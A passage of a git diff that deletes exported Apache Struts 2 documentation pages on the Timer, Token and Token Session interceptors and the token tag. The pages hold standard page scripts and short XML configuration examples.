-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Timer Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="timer-interceptor.html">Timer Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Timer Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14207">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14207">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14207">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14207">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14207">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14207">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This interceptor logs the amount of time in milliseconds. In order for this interceptor to work properly, the
-logging framework must be set to at least the <tt>INFO</tt> level.
-This interceptor relies on the <a shape="rect" href="http://jakarta.apache.org/commons/logging/">Commons Logging API</a> to
-report its execution-time value.</p>
-
-<h2 id="TimerInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>logLevel (optional) - what log level should we use (<code>trace, debug, info, warn, error, fatal</code>)? - defaut is <code>info</code></li></ul><p></p><ul><li>logCategory (optional) - If provided we would use this category (eg. <code>com.mycompany.app</code>).
-Default is to use <code>com.opensymphony.xwork2.interceptor.TimerInterceptor</code>.</li></ul><p></p>
-
-<p>The parameters above enables us to log all action execution times in our own logfile.</p>
-
-
-<h2 id="TimerInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p>This interceptor can be extended to provide custom message format. Users should override the
-<code>invokeUnderTiming</code> method.</p>
-
-<h2 id="TimerInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;!-- records only the action&#39;s execution time --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;interceptor-ref name=&quot;timer&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;!-- records action&#39;s execution time as well as other interceptors--&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;timer&quot;/&gt;
-    &lt;interceptor-ref name=&quot;completeStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/token-interceptor.html b/content/docs/token-interceptor.html
deleted file mode 100644
index 16e343c..0000000
--- a/content/docs/token-interceptor.html
+++ /dev/null
@@ -1,217 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Token Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="token-interceptor.html">Token Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Token Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14286">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14286">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14286">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14286">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14286">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14286">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-Ensures that only one request per token is processed. This interceptor can make sure that back buttons and double
-clicks don't cause un-intended side affects. For example, you can use this to prevent careless users who might double
-click on a "checkout" button at an online store. This interceptor uses a fairly primitive technique for when an
-invalid token is found: it returns the result <b>invalid.token</b>, which can be mapped in your action configuration.
-A more complex implementation, TokenSessionStoreInterceptor, can provide much better logic for when invalid
-tokens are found.
-</p>
-
-<p></p><p>
-<b>Note:</b> To set a token in your form, you should use the <b>token tag</b>. This tag is required and must be used
-in the forms that submit to actions protected by this interceptor. Any request that does not provide a token (using
-the token tag) will be processed as a request with an invalid token.
-</p>
-
-<p></p><p>
-<b>Internationalization Note:</b> The following key could be used to internationalized the action errors generated
-by this token interceptor
-</p>
-
-<p></p><ul><li>struts.messages.invalid.token</li></ul>
-
-<p></p><p>
-<b>NOTE:</b> As this method extends off MethodFilterInterceptor, it is capable of
-deciding if it is applicable only to selective methods in the action class. See
-<code>MethodFilterInterceptor</code> for more info.
-</p>
-
-
-<h2 id="TokenInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>None</li></ul><p></p>
-
-
-<h2 id="TokenInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p></p><p>
-While not very common for users to extend, this interceptor is extended by the TokenSessionStoreInterceptor.
-The #handleInvalidToken  and #handleValidToken methods are protected and available for more
-interesting logic, such as done with the token session interceptor.
-</p>
-
-<h2 id="TokenInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;token&quot;/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;-- In this case, myMethod of the action class will not
-       get checked for invalidity of token --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;token&quot;&gt;
-       &lt;param name=&quot;excludeMethods&quot;&gt;myMethod&lt;/param&gt;
-    &lt;/interceptor-ref name=&quot;token&quot;/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/token-session-interceptor.html b/content/docs/token-session-interceptor.html
deleted file mode 100644
index 71bd39b..0000000
--- a/content/docs/token-session-interceptor.html
+++ /dev/null
@@ -1,202 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Token Session Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="token-session-interceptor.html">Token Session Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Token Session Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13937">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13937">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13937">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13937">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13937">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13937">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-This interceptor builds off of the TokenInterceptor, providing advanced logic for handling invalid tokens.
-Unlike the normal token interceptor, this interceptor will attempt to provide intelligent fail-over in the event of
-multiple requests using the same session. That is, it will block subsequent requests until the first request is
-complete, and then instead of returning the <i>invalid.token</i> code, it will attempt to display the same response
-that the original, valid action invocation would have displayed if no multiple requests were submitted in the first
-place.
-</p>
-
-<p></p><p>
-<b>NOTE:</b> As this method extends off MethodFilterInterceptor, it is capable of
-deciding if it is applicable only to selective methods in the action class. See
-<code>MethodFilterInterceptor</code> for more info.
-</p>
-
-
-<h2 id="TokenSessionInterceptor-Parameters">Parameters</h2>
-
-
-<p></p><ul></ul><p></p><ul><li>None</li></ul><p></p>
-
-
-<h2 id="TokenSessionInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p></p><p>
-There are no known extension points for this interceptor.
-</p>
-
-<h2 id="TokenSessionInterceptor-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;tokenSession/&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;-- In this case, myMethod of the action class will not
-       get checked for invalidity of token --&gt;
-&lt;action name=&quot;someAction&quot; class=&quot;com.examples.SomeAction&quot;&gt;
-    &lt;interceptor-ref name=&quot;tokenSession&gt;
-        &lt;param name=&quot;excludeMethods&quot;&gt;myMethod&lt;/param&gt;
-    &lt;/interceptor-ref name=&quot;tokenSession&gt;
-    &lt;interceptor-ref name=&quot;basicStack&quot;/&gt;
-    &lt;result name=&quot;success&quot;&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/token.html b/content/docs/token.html
deleted file mode 100644
index b6edbed..0000000
--- a/content/docs/token.html
+++ /dev/null
@@ -1,173 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>token</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="token.html">token</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">token</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13998">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13998">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13998">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13998">Add Page</a>
